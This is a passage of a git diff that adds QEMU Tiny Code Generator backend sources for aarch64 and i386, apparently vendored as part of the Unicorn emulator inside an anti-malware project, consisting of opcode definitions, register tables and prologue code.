a1); + break; + case INDEX_op_ext32u_i64: + tcg_out_movr(s, TCG_TYPE_I32, a0, a1); + break; + + case INDEX_op_deposit_i64: + case INDEX_op_deposit_i32: + tcg_out_dep(s, ext, a0, REG0(2), args[3], args[4]); + break; + + case INDEX_op_add2_i32: + tcg_out_addsub2(s, TCG_TYPE_I32, a0, a1, REG0(2), REG0(3), + (int32_t)args[4], args[5], const_args[4], + const_args[5], false); + break; + case INDEX_op_add2_i64: + tcg_out_addsub2(s, TCG_TYPE_I64, a0, a1, REG0(2), REG0(3), args[4], + args[5], const_args[4], const_args[5], false); + break; + case INDEX_op_sub2_i32: + tcg_out_addsub2(s, TCG_TYPE_I32, a0, a1, REG0(2), REG0(3), + (int32_t)args[4], args[5], const_args[4], + const_args[5], true); + break; + case INDEX_op_sub2_i64: + tcg_out_addsub2(s, TCG_TYPE_I64, a0, a1, REG0(2), REG0(3), args[4], + args[5], const_args[4], const_args[5], true); + break; + + case INDEX_op_muluh_i64: + tcg_out_insn(s, 3508, UMULH, TCG_TYPE_I64, a0, a1, a2); + break; + case INDEX_op_mulsh_i64: + tcg_out_insn(s, 3508, SMULH, TCG_TYPE_I64, a0, a1, a2); + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_mov_i64: + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_movi_i64: + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } + +#undef REG0 +} + +static const TCGTargetOpDef aarch64_op_defs[] = { + { INDEX_op_exit_tb, { } }, + { INDEX_op_goto_tb, { } }, + { INDEX_op_br, { } }, + + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + { INDEX_op_ld8u_i64, { "r", "r" } }, + { INDEX_op_ld8s_i64, { "r", "r" } }, + { INDEX_op_ld16u_i64, { "r", "r" } }, + { INDEX_op_ld16s_i64, { "r", "r" } }, + { INDEX_op_ld32u_i64, { "r", "r" } }, + { INDEX_op_ld32s_i64, { "r", "r" } }, + { INDEX_op_ld_i64, { "r", "r" } }, + + { INDEX_op_st8_i32, { "rZ", "r" } }, + { INDEX_op_st16_i32, { "rZ", "r" } }, + { INDEX_op_st_i32, { "rZ", "r" } }, + { INDEX_op_st8_i64, { "rZ", "r" } }, + { INDEX_op_st16_i64, { "rZ", "r" } }, + { INDEX_op_st32_i64, { "rZ", "r" } }, + { INDEX_op_st_i64, { "rZ", "r" } }, + + { INDEX_op_add_i32, { "r", "r", "rA" } }, + { INDEX_op_add_i64, { "r", "r", "rA" } }, + { INDEX_op_sub_i32, { "r", "r", "rA" } }, + { INDEX_op_sub_i64, { "r", "r", "rA" } }, + { INDEX_op_mul_i32, { "r", "r", "r" } }, + { INDEX_op_mul_i64, { "r", "r", "r" } }, + { INDEX_op_div_i32, { "r", "r", "r" } }, + { INDEX_op_div_i64, { "r", "r", "r" } }, + { INDEX_op_divu_i32, { "r", "r", "r" } }, + { INDEX_op_divu_i64, { "r", "r", "r" } }, + { INDEX_op_rem_i32, { "r", "r", "r" } }, + { INDEX_op_rem_i64, { "r", "r", "r" } }, + { INDEX_op_remu_i32, { "r", "r", "r" } }, + { INDEX_op_remu_i64, { "r", "r", "r" } }, + { INDEX_op_and_i32, { "r", "r", "rL" } }, + { INDEX_op_and_i64, { "r", "r", "rL" } }, + { INDEX_op_or_i32, { "r", "r", "rL" } }, + { INDEX_op_or_i64, { "r", "r", "rL" } }, + { INDEX_op_xor_i32, { "r", "r", "rL" } }, + { INDEX_op_xor_i64, { "r", "r", "rL" } }, + { INDEX_op_andc_i32, { "r", "r", "rL" } }, + { INDEX_op_andc_i64, { "r", "r", "rL" } }, + { INDEX_op_orc_i32, { "r", "r", "rL" } }, + { INDEX_op_orc_i64, { "r", "r", "rL" } }, + { INDEX_op_eqv_i32, { "r", "r", "rL" } }, + { INDEX_op_eqv_i64, { "r", "r", "rL" } }, + + { INDEX_op_neg_i32, { "r", "r" } }, + { INDEX_op_neg_i64, { "r", "r" } }, + { INDEX_op_not_i32, { "r", "r" } }, + { INDEX_op_not_i64, { "r", "r" } }, + + { INDEX_op_shl_i32, { "r", "r", "ri" } }, + { INDEX_op_shr_i32, { "r", "r", "ri" } }, + { INDEX_op_sar_i32, { "r", "r", "ri" } }, + { INDEX_op_rotl_i32, { "r", "r", "ri" } }, + { INDEX_op_rotr_i32, { "r", "r", "ri" } }, + { INDEX_op_shl_i64, { "r", "r", "ri" } }, + { INDEX_op_shr_i64, { "r", "r", "ri" } }, + { INDEX_op_sar_i64, { "r", "r", "ri" } }, + { INDEX_op_rotl_i64, { "r", "r", "ri" } }, + { INDEX_op_rotr_i64, { "r", "r", "ri" } }, + + { INDEX_op_brcond_i32, { "r", "rA" } }, + { INDEX_op_brcond_i64, { "r", "rA" } }, + { INDEX_op_setcond_i32, { "r", "r", "rA" } }, + { INDEX_op_setcond_i64, { "r", "r", "rA" } }, + { INDEX_op_movcond_i32, { "r", "r", "rA", "rZ", "rZ" } }, + { INDEX_op_movcond_i64, { "r", "r", "rA", "rZ", "rZ" } }, + + { INDEX_op_qemu_ld_i32, { "r", "l" } }, + { INDEX_op_qemu_ld_i64, { "r", "l" } }, + { INDEX_op_qemu_st_i32, { "lZ", "l" } }, + { INDEX_op_qemu_st_i64, { "lZ", "l" } }, + + { INDEX_op_bswap16_i32, { "r", "r" } }, + { INDEX_op_bswap32_i32, { "r", "r" } }, + { INDEX_op_bswap16_i64, { "r", "r" } }, + { INDEX_op_bswap32_i64, { "r", "r" } }, + { INDEX_op_bswap64_i64, { "r", "r" } }, + + { INDEX_op_ext8s_i32, { "r", "r" } }, + { INDEX_op_ext16s_i32, { "r", "r" } }, + { INDEX_op_ext8u_i32, { "r", "r" } }, + { INDEX_op_ext16u_i32, { "r", "r" } }, + + { INDEX_op_ext8s_i64, { "r", "r" } }, + { INDEX_op_ext16s_i64, { "r", "r" } }, + { INDEX_op_ext32s_i64, { "r", "r" } }, + { INDEX_op_ext8u_i64, { "r", "r" } }, + { INDEX_op_ext16u_i64, { "r", "r" } }, + { INDEX_op_ext32u_i64, { "r", "r" } }, + + { INDEX_op_deposit_i32, { "r", "0", "rZ" } }, + { INDEX_op_deposit_i64, { "r", "0", "rZ" } }, + + { INDEX_op_add2_i32, { "r", "r", "rZ", "rZ", "rA", "rMZ" } }, + { INDEX_op_add2_i64, { "r", "r", "rZ", "rZ", "rA", "rMZ" } }, + { INDEX_op_sub2_i32, { "r", "r", "rZ", "rZ", "rA", "rMZ" } }, + { INDEX_op_sub2_i64, { "r", "r", "rZ", "rZ", "rA", "rMZ" } }, + + { INDEX_op_muluh_i64, { "r", "r", "r" } }, + { INDEX_op_mulsh_i64, { "r", "r", "r" } }, + + { -1 }, +}; + +static void tcg_target_init(TCGContext *s) +{ + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I32], 0, 0xffffffff); + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I64], 0, 0xffffffff); + + tcg_regset_set32(s->tcg_target_call_clobber_regs, 0, + (1 << TCG_REG_X0) | (1 << TCG_REG_X1) | + (1 << TCG_REG_X2) | (1 << TCG_REG_X3) | + (1 << TCG_REG_X4) | (1 << TCG_REG_X5) | + (1 << TCG_REG_X6) | (1 << TCG_REG_X7) | + (1 << TCG_REG_X8) | (1 << TCG_REG_X9) | + (1 << TCG_REG_X10) | (1 << TCG_REG_X11) | + (1 << TCG_REG_X12) | (1 << TCG_REG_X13) | + (1 << TCG_REG_X14) | (1 << TCG_REG_X15) | + (1 << TCG_REG_X16) | (1 << TCG_REG_X17) | + (1 << TCG_REG_X18) | (1 << TCG_REG_X30)); + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_SP); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_FP); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_TMP); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_X18); /* platform register */ + + tcg_add_target_add_op_defs(s, aarch64_op_defs); +} + +/* Saving pairs: (X19, X20) .. (X27, X28), (X29(fp), X30(lr)). */ +#define PUSH_SIZE ((30 - 19 + 1) * 8) + +#define FRAME_SIZE \ + ((PUSH_SIZE \ + + TCG_STATIC_CALL_ARGS_SIZE \ + + CPU_TEMP_BUF_NLONGS * sizeof(long) \ + + TCG_TARGET_STACK_ALIGN - 1) \ + & ~(TCG_TARGET_STACK_ALIGN - 1)) + +/* We're expecting a 2 byte uleb128 encoded value. */ +QEMU_BUILD_BUG_ON(FRAME_SIZE >= (1 << 14)); + +/* We're expecting to use a single ADDI insn. */ +QEMU_BUILD_BUG_ON(FRAME_SIZE - PUSH_SIZE > 0xfff); + +static void tcg_target_qemu_prologue(TCGContext *s) +{ + TCGReg r; + + /* Push (FP, LR) and allocate space for all saved registers. */ + tcg_out_insn(s, 3314, STP, TCG_REG_FP, TCG_REG_LR, + TCG_REG_SP, -PUSH_SIZE, 1, 1); + + /* Set up frame pointer for canonical unwinding. */ + tcg_out_movr_sp(s, TCG_TYPE_I64, TCG_REG_FP, TCG_REG_SP); + + /* Store callee-preserved regs x19..x28. */ + for (r = TCG_REG_X19; r <= TCG_REG_X27; r += 2) { + int ofs = (r - TCG_REG_X19 + 2) * 8; + tcg_out_insn(s, 3314, STP, r, r + 1, TCG_REG_SP, ofs, 1, 0); + } + + /* Make stack space for TCG locals. */ + tcg_out_insn(s, 3401, SUBI, TCG_TYPE_I64, TCG_REG_SP, TCG_REG_SP, + FRAME_SIZE - PUSH_SIZE); + + /* Inform TCG about how to find TCG locals with register, offset, size. */ + tcg_set_frame(s, TCG_REG_SP, TCG_STATIC_CALL_ARGS_SIZE, + CPU_TEMP_BUF_NLONGS * sizeof(long)); + +#if defined(CONFIG_USE_GUEST_BASE) + if (GUEST_BASE) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_GUEST_BASE, GUEST_BASE); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_GUEST_BASE); + } +#endif + + tcg_out_mov(s, TCG_TYPE_PTR, TCG_AREG0, tcg_target_call_iarg_regs[0]); + tcg_out_insn(s, 3207, BR, tcg_target_call_iarg_regs[1]); + + tb_ret_addr = s->code_ptr; + + /* Remove TCG locals stack space. */ + tcg_out_insn(s, 3401, ADDI, TCG_TYPE_I64, TCG_REG_SP, TCG_REG_SP, + FRAME_SIZE - PUSH_SIZE); + + /* Restore registers x19..x28. */ + for (r = TCG_REG_X19; r <= TCG_REG_X27; r += 2) { + int ofs = (r - TCG_REG_X19 + 2) * 8; + tcg_out_insn(s, 3314, LDP, r, r + 1, TCG_REG_SP, ofs, 1, 0); + } + + /* Pop (FP, LR), restore SP to previous frame. */ + tcg_out_insn(s, 3314, LDP, TCG_REG_FP, TCG_REG_LR, + TCG_REG_SP, PUSH_SIZE, 0, 1); + tcg_out_insn(s, 3207, RET, TCG_REG_LR); +} + +#define ELF_HOST_MACHINE EM_AARCH64 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.h new file mode 100644 index 0000000..60c7493 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/aarch64/tcg-target.h @@ -0,0 +1,107 @@ +/* + * Initial TCG Implementation for aarch64 + * + * Copyright (c) 2013 Huawei Technologies Duesseldorf GmbH + * Written by Claudio Fontana + * + * This work is licensed under the terms of the GNU GPL, version 2 or + * (at your option) any later version. + * + * See the COPYING file in the top-level directory for details. + */ + +#ifndef TCG_TARGET_AARCH64 +#define TCG_TARGET_AARCH64 1 + +#define TCG_TARGET_INSN_UNIT_SIZE 4 +#undef TCG_TARGET_STACK_GROWSUP + +typedef enum { + TCG_REG_X0, TCG_REG_X1, TCG_REG_X2, TCG_REG_X3, + TCG_REG_X4, TCG_REG_X5, TCG_REG_X6, TCG_REG_X7, + TCG_REG_X8, TCG_REG_X9, TCG_REG_X10, TCG_REG_X11, + TCG_REG_X12, TCG_REG_X13, TCG_REG_X14, TCG_REG_X15, + TCG_REG_X16, TCG_REG_X17, TCG_REG_X18, TCG_REG_X19, + TCG_REG_X20, TCG_REG_X21, TCG_REG_X22, TCG_REG_X23, + TCG_REG_X24, TCG_REG_X25, TCG_REG_X26, TCG_REG_X27, + TCG_REG_X28, TCG_REG_X29, TCG_REG_X30, + + /* X31 is either the stack pointer or zero, depending on context. */ + TCG_REG_SP = 31, + TCG_REG_XZR = 31, + + /* Aliases. */ + TCG_REG_FP = TCG_REG_X29, + TCG_REG_LR = TCG_REG_X30, + TCG_AREG0 = TCG_REG_X19, +} TCGReg; + +#define TCG_TARGET_NB_REGS 32 + +/* used for function call generation */ +#define TCG_REG_CALL_STACK TCG_REG_SP +#define TCG_TARGET_STACK_ALIGN 16 +#define TCG_TARGET_CALL_ALIGN_ARGS 1 +#define TCG_TARGET_CALL_STACK_OFFSET 0 + +/* optional instructions */ +#define TCG_TARGET_HAS_div_i32 1 +#define TCG_TARGET_HAS_rem_i32 1 +#define TCG_TARGET_HAS_ext8s_i32 1 +#define TCG_TARGET_HAS_ext16s_i32 1 +#define TCG_TARGET_HAS_ext8u_i32 1 +#define TCG_TARGET_HAS_ext16u_i32 1 +#define TCG_TARGET_HAS_bswap16_i32 1 +#define TCG_TARGET_HAS_bswap32_i32 1 +#define TCG_TARGET_HAS_not_i32 1 +#define TCG_TARGET_HAS_neg_i32 1 +#define TCG_TARGET_HAS_rot_i32 1 +#define TCG_TARGET_HAS_andc_i32 1 +#define TCG_TARGET_HAS_orc_i32 1 +#define TCG_TARGET_HAS_eqv_i32 1 +#define TCG_TARGET_HAS_nand_i32 0 +#define TCG_TARGET_HAS_nor_i32 0 +#define TCG_TARGET_HAS_deposit_i32 1 +#define TCG_TARGET_HAS_movcond_i32 1 +#define TCG_TARGET_HAS_add2_i32 1 +#define TCG_TARGET_HAS_sub2_i32 1 +#define TCG_TARGET_HAS_mulu2_i32 0 +#define TCG_TARGET_HAS_muls2_i32 0 +#define TCG_TARGET_HAS_muluh_i32 0 +#define TCG_TARGET_HAS_mulsh_i32 0 +#define TCG_TARGET_HAS_trunc_shr_i32 0 + +#define TCG_TARGET_HAS_div_i64 1 +#define TCG_TARGET_HAS_rem_i64 1 +#define TCG_TARGET_HAS_ext8s_i64 1 +#define TCG_TARGET_HAS_ext16s_i64 1 +#define TCG_TARGET_HAS_ext32s_i64 1 +#define TCG_TARGET_HAS_ext8u_i64 1 +#define TCG_TARGET_HAS_ext16u_i64 1 +#define TCG_TARGET_HAS_ext32u_i64 1 +#define TCG_TARGET_HAS_bswap16_i64 1 +#define TCG_TARGET_HAS_bswap32_i64 1 +#define TCG_TARGET_HAS_bswap64_i64 1 +#define TCG_TARGET_HAS_not_i64 1 +#define TCG_TARGET_HAS_neg_i64 1 +#define TCG_TARGET_HAS_rot_i64 1 +#define TCG_TARGET_HAS_andc_i64 1 +#define TCG_TARGET_HAS_orc_i64 1 +#define TCG_TARGET_HAS_eqv_i64 1 +#define TCG_TARGET_HAS_nand_i64 0 +#define TCG_TARGET_HAS_nor_i64 0 +#define TCG_TARGET_HAS_deposit_i64 1 +#define TCG_TARGET_HAS_movcond_i64 1 +#define TCG_TARGET_HAS_add2_i64 1 +#define TCG_TARGET_HAS_sub2_i64 1 +#define TCG_TARGET_HAS_mulu2_i64 0 +#define TCG_TARGET_HAS_muls2_i64 0 +#define TCG_TARGET_HAS_muluh_i64 1 +#define TCG_TARGET_HAS_mulsh_i64 1 + +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ + __builtin___clear_cache((char *)start, (char *)stop); +} + +#endif /* TCG_TARGET_AARCH64 */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.c new file mode 100644 index 0000000..fefe85a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/i386/tcg-target.c @@ -0,0 +1,2471 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "tcg-be-ldst.h" + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { +#if TCG_TARGET_REG_BITS == 64 + "%rax", "%rcx", "%rdx", "%rbx", "%rsp", "%rbp", "%rsi", "%rdi", + "%r8", "%r9", "%r10", "%r11", "%r12", "%r13", "%r14", "%r15", +#else + "%eax", "%ecx", "%edx", "%ebx", "%esp", "%ebp", "%esi", "%edi", +#endif +}; +#endif + +static const int tcg_target_reg_alloc_order[] = { +#if TCG_TARGET_REG_BITS == 64 + TCG_REG_RBP, + TCG_REG_RBX, + TCG_REG_R12, + TCG_REG_R13, + TCG_REG_R14, + TCG_REG_R15, + TCG_REG_R10, + TCG_REG_R11, + TCG_REG_R9, + TCG_REG_R8, + TCG_REG_RCX, + TCG_REG_RDX, + TCG_REG_RSI, + TCG_REG_RDI, + TCG_REG_RAX, +#else + TCG_REG_EBX, + TCG_REG_ESI, + TCG_REG_EDI, + TCG_REG_EBP, + TCG_REG_ECX, + TCG_REG_EDX, + TCG_REG_EAX, +#endif +}; + +static const int tcg_target_call_iarg_regs[] = { +#if TCG_TARGET_REG_BITS == 64 +#if (defined(_WIN64) || defined(__CYGWIN__)) + TCG_REG_RCX, + TCG_REG_RDX, +#else + TCG_REG_RDI, + TCG_REG_RSI, + TCG_REG_RDX, + TCG_REG_RCX, +#endif + TCG_REG_R8, + TCG_REG_R9, +#else +#ifdef _MSC_VER +#ifdef _UC_MSVC_ARRAY_DUMMY +#error "DUP DEF _UC_MSVC_ARRAY_DUMMY" +#endif +#define _UC_MSVC_ARRAY_DUMMY + /* 32 bit mode uses stack based calling convention (GCC default). + We add a dummy value here for MSVC compatibility for the error: + "error C2466: cannot allocate an array of constant size 0" + The "tcg_target_call_iarg_regs" array is not accessed when + TCG_TARGET_REG_BITS == 32 + */ + 0, +#endif +#endif +}; + +static const int tcg_target_call_oarg_regs[] = { + TCG_REG_EAX, +#if TCG_TARGET_REG_BITS == 32 + TCG_REG_EDX +#endif +}; + +/* Constants we accept. */ +#define TCG_CT_CONST_S32 0x100 +#define TCG_CT_CONST_U32 0x200 +#define TCG_CT_CONST_I32 0x400 + +/* Registers used with L constraint, which are the first argument + registers on x86_64, and two random call clobbered registers on + i386. */ +#if TCG_TARGET_REG_BITS == 64 +# define TCG_REG_L0 tcg_target_call_iarg_regs[0] +# define TCG_REG_L1 tcg_target_call_iarg_regs[1] +#else +# define TCG_REG_L0 TCG_REG_EAX +# define TCG_REG_L1 TCG_REG_EDX +#endif + +/* The host compiler should supply to enable runtime features + detection, as we're not going to go so far as our own inline assembly. + If not available, default values will be assumed. */ +#if defined(CONFIG_CPUID_H) +#ifdef _MSC_VER +#include +/* %ecx */ +#define bit_MOVBE (1 << 22) +/* %edx */ +#define bit_CMOV (1 << 15) +/* Extended Features (%eax == 7) */ +#define bit_BMI (1 << 3) +#define bit_BMI2 (1 << 8) +#else +#include +#endif +#endif + +/* For 32-bit, we are going to attempt to determine at runtime whether cmov + is available. */ +#if TCG_TARGET_REG_BITS == 64 +# define have_cmov 1 +#elif defined(CONFIG_CPUID_H) && defined(bit_CMOV) +static bool have_cmov; +#else +# define have_cmov 0 +#endif + +/* We need this symbol in tcg-target.h, and we can't properly conditionalize + it there. Therefore we always define the variable. */ +bool have_bmi1; + +#if defined(CONFIG_CPUID_H) && defined(bit_BMI2) +static bool have_bmi2; +#else +static bool have_bmi2 = 0; +#endif + +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + value += addend; + switch(type) { + case R_386_PC32: + value -= (uintptr_t)code_ptr; + if (value != (int32_t)value) { + tcg_abort(); + } + tcg_patch32(code_ptr, value); + break; + case R_386_PC8: + value -= (uintptr_t)code_ptr; + if (value != (int8_t)value) { + tcg_abort(); + } + tcg_patch8(code_ptr, value); + break; + default: + tcg_abort(); + } +} + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str) +{ + const char *ct_str; + + ct_str = *pct_str; + switch(ct_str[0]) { + case 'a': + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, TCG_REG_EAX); + break; + case 'b': + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, TCG_REG_EBX); + break; + case 'c': + case_c: + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, TCG_REG_ECX); + break; + case 'd': + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, TCG_REG_EDX); + break; + case 'S': + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, TCG_REG_ESI); + break; + case 'D': + ct->ct |= TCG_CT_REG; + tcg_regset_set_reg(ct->u.regs, TCG_REG_EDI); + break; + case 'q': + ct->ct |= TCG_CT_REG; + if (TCG_TARGET_REG_BITS == 64) { + tcg_regset_set32(ct->u.regs, 0, 0xffff); + } else { + tcg_regset_set32(ct->u.regs, 0, 0xf); + } + break; + case 'Q': + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xf); + break; + case 'r': + case_r: + ct->ct |= TCG_CT_REG; + if (TCG_TARGET_REG_BITS == 64) { + tcg_regset_set32(ct->u.regs, 0, 0xffff); + } else { + tcg_regset_set32(ct->u.regs, 0, 0xff); + } + break; + case 'C': + /* With SHRX et al, we need not use ECX as shift count register. */ + if (have_bmi2) { + goto case_r; + } else { + goto case_c; + } + + /* qemu_ld/st address constraint */ + case 'L': + ct->ct |= TCG_CT_REG; + if (TCG_TARGET_REG_BITS == 64) { + tcg_regset_set32(ct->u.regs, 0, 0xffff); + } else { + tcg_regset_set32(ct->u.regs, 0, 0xff); + } + tcg_regset_reset_reg(ct->u.regs, TCG_REG_L0); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_L1); + break; + + case 'e': + ct->ct |= TCG_CT_CONST_S32; + break; + case 'Z': + ct->ct |= TCG_CT_CONST_U32; + break; + case 'I': + ct->ct |= TCG_CT_CONST_I32; + break; + + default: + return -1; + } + ct_str++; + *pct_str = ct_str; + return 0; +} + +/* test if a constant matches the constraint */ +static inline int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct = arg_ct->ct; + if (ct & TCG_CT_CONST) { + return 1; + } + if ((ct & TCG_CT_CONST_S32) && val == (int32_t)val) { + return 1; + } + if ((ct & TCG_CT_CONST_U32) && val == (uint32_t)val) { + return 1; + } + if ((ct & TCG_CT_CONST_I32) && ~val == (int32_t)~val) { + return 1; + } + return 0; +} + +#if TCG_TARGET_REG_BITS == 64 +# define LOWREGMASK(x) ((x) & 7) +#else +# define LOWREGMASK(x) (x) +#endif + +#define P_EXT 0x100 /* 0x0f opcode prefix */ +#define P_EXT38 0x200 /* 0x0f 0x38 opcode prefix */ +#define P_DATA16 0x400 /* 0x66 opcode prefix */ +#if TCG_TARGET_REG_BITS == 64 +# define P_ADDR32 0x800 /* 0x67 opcode prefix */ +# define P_REXW 0x1000 /* Set REX.W = 1 */ +# define P_REXB_R 0x2000 /* REG field as byte register */ +# define P_REXB_RM 0x4000 /* R/M field as byte register */ +# define P_GS 0x8000 /* gs segment override */ +#else +# define P_ADDR32 0 +# define P_REXW 0 +# define P_REXB_R 0 +# define P_REXB_RM 0 +# define P_GS 0 +#endif +#define P_SIMDF3 0x10000 /* 0xf3 opcode prefix */ +#define P_SIMDF2 0x20000 /* 0xf2 opcode prefix */ + +#define OPC_ARITH_EvIz (0x81) +#define OPC_ARITH_EvIb (0x83) +#define OPC_ARITH_GvEv (0x03) /* ... plus (ARITH_FOO << 3) */ +#define OPC_ANDN (0xf2 | P_EXT38) +#define OPC_ADD_GvEv (OPC_ARITH_GvEv | (ARITH_ADD << 3)) +#define OPC_BSWAP (0xc8 | P_EXT) +#define OPC_CALL_Jz (0xe8) +#define OPC_CMOVCC (0x40 | P_EXT) /* ... plus condition code */ +#define OPC_CMP_GvEv (OPC_ARITH_GvEv | (ARITH_CMP << 3)) +#define OPC_DEC_r32 (0x48) +#define OPC_IMUL_GvEv (0xaf | P_EXT) +#define OPC_IMUL_GvEvIb (0x6b) +#define OPC_IMUL_GvEvIz (0x69) +#define OPC_INC_r32 (0x40) +#define OPC_JCC_long (0x80 | P_EXT) /* ... plus condition code */ +#define OPC_JCC_short (0x70) /* ... plus condition code */ +#define OPC_JMP_long (0xe9) +#define OPC_JMP_short (0xeb) +#define OPC_LEA (0x8d) +#define OPC_MOVB_EvGv (0x88) /* stores, more or less */ +#define OPC_MOVL_EvGv (0x89) /* stores, more or less */ +#define OPC_MOVL_GvEv (0x8b) /* loads, more or less */ +#define OPC_MOVB_EvIz (0xc6) +#define OPC_MOVL_EvIz (0xc7) +#define OPC_MOVL_Iv (0xb8) +#define OPC_MOVBE_GyMy (0xf0 | P_EXT38) +#define OPC_MOVBE_MyGy (0xf1 | P_EXT38) +#define OPC_MOVSBL (0xbe | P_EXT) +#define OPC_MOVSWL (0xbf | P_EXT) +#define OPC_MOVSLQ (0x63 | P_REXW) +#define OPC_MOVZBL (0xb6 | P_EXT) +#define OPC_MOVZWL (0xb7 | P_EXT) +#define OPC_POP_r32 (0x58) +#define OPC_PUSH_r32 (0x50) +#define OPC_PUSH_Iv (0x68) +#define OPC_PUSH_Ib (0x6a) +#define OPC_RET (0xc3) +#define OPC_SETCC (0x90 | P_EXT | P_REXB_RM) /* ... plus cc */ +#define OPC_SHIFT_1 (0xd1) +#define OPC_SHIFT_Ib (0xc1) +#define OPC_SHIFT_cl (0xd3) +#define OPC_SARX (0xf7 | P_EXT38 | P_SIMDF3) +#define OPC_SHLX (0xf7 | P_EXT38 | P_DATA16) +#define OPC_SHRX (0xf7 | P_EXT38 | P_SIMDF2) +#define OPC_TESTL (0x85) +#define OPC_XCHG_ax_r32 (0x90) + +#define OPC_GRP3_Ev (0xf7) +#define OPC_GRP5 (0xff) + +/* Group 1 opcode extensions for 0x80-0x83. + These are also used as modifiers for OPC_ARITH. */ +#define ARITH_ADD 0 +#define ARITH_OR 1 +#define ARITH_ADC 2 +#define ARITH_SBB 3 +#define ARITH_AND 4 +#define ARITH_SUB 5 +#define ARITH_XOR 6 +#define ARITH_CMP 7 + +/* Group 2 opcode extensions for 0xc0, 0xc1, 0xd0-0xd3. */ +#define SHIFT_ROL 0 +#define SHIFT_ROR 1 +#define SHIFT_SHL 4 +#define SHIFT_SHR 5 +#define SHIFT_SAR 7 + +/* Group 3 opcode extensions for 0xf6, 0xf7. To be used with OPC_GRP3. */ +#define EXT3_NOT 2 +#define EXT3_NEG 3 +#define EXT3_MUL 4 +#define EXT3_IMUL 5 +#define EXT3_DIV 6 +#define EXT3_IDIV 7 + +/* Group 5 opcode extensions for 0xff. To be used with OPC_GRP5. */ +#define EXT5_INC_Ev 0 +#define EXT5_DEC_Ev 1 +#define EXT5_CALLN_Ev 2 +#define EXT5_JMPN_Ev 4 + +/* Condition codes to be added to OPC_JCC_{long,short}. */ +#define JCC_JMP (-1) +#define JCC_JO 0x0 +#define JCC_JNO 0x1 +#define JCC_JB 0x2 +#define JCC_JAE 0x3 +#define JCC_JE 0x4 +#define JCC_JNE 0x5 +#define JCC_JBE 0x6 +#define JCC_JA 0x7 +#define JCC_JS 0x8 +#define JCC_JNS 0x9 +#define JCC_JP 0xa +#define JCC_JNP 0xb +#define JCC_JL 0xc +#define JCC_JGE 0xd +#define JCC_JLE 0xe +#define JCC_JG 0xf + +static const uint8_t tcg_cond_to_jcc[] = { +#ifdef _MSC_VER + 0, // TCG_COND_NEVER + 0, // TCG_COND_ALWAYS + JCC_JL, // TCG_COND_LT + JCC_JGE, // TCG_COND_GE + JCC_JB, // TCG_COND_LTU + JCC_JAE, // TCG_COND_GEU + 0, // n/a + 0, // n/a + JCC_JE, // TCG_COND_EQ + JCC_JNE, // TCG_COND_NE + JCC_JLE, // TCG_COND_LE + JCC_JG, // TCG_COND_GT + JCC_JBE, // TCG_COND_LEU + JCC_JA, // TCG_COND_GTU + 0, // n/a + 0, // n/a +#else + [TCG_COND_EQ] = JCC_JE, + [TCG_COND_NE] = JCC_JNE, + [TCG_COND_LT] = JCC_JL, + [TCG_COND_GE] = JCC_JGE, + [TCG_COND_LE] = JCC_JLE, + [TCG_COND_GT] = JCC_JG, + [TCG_COND_LTU] = JCC_JB, + 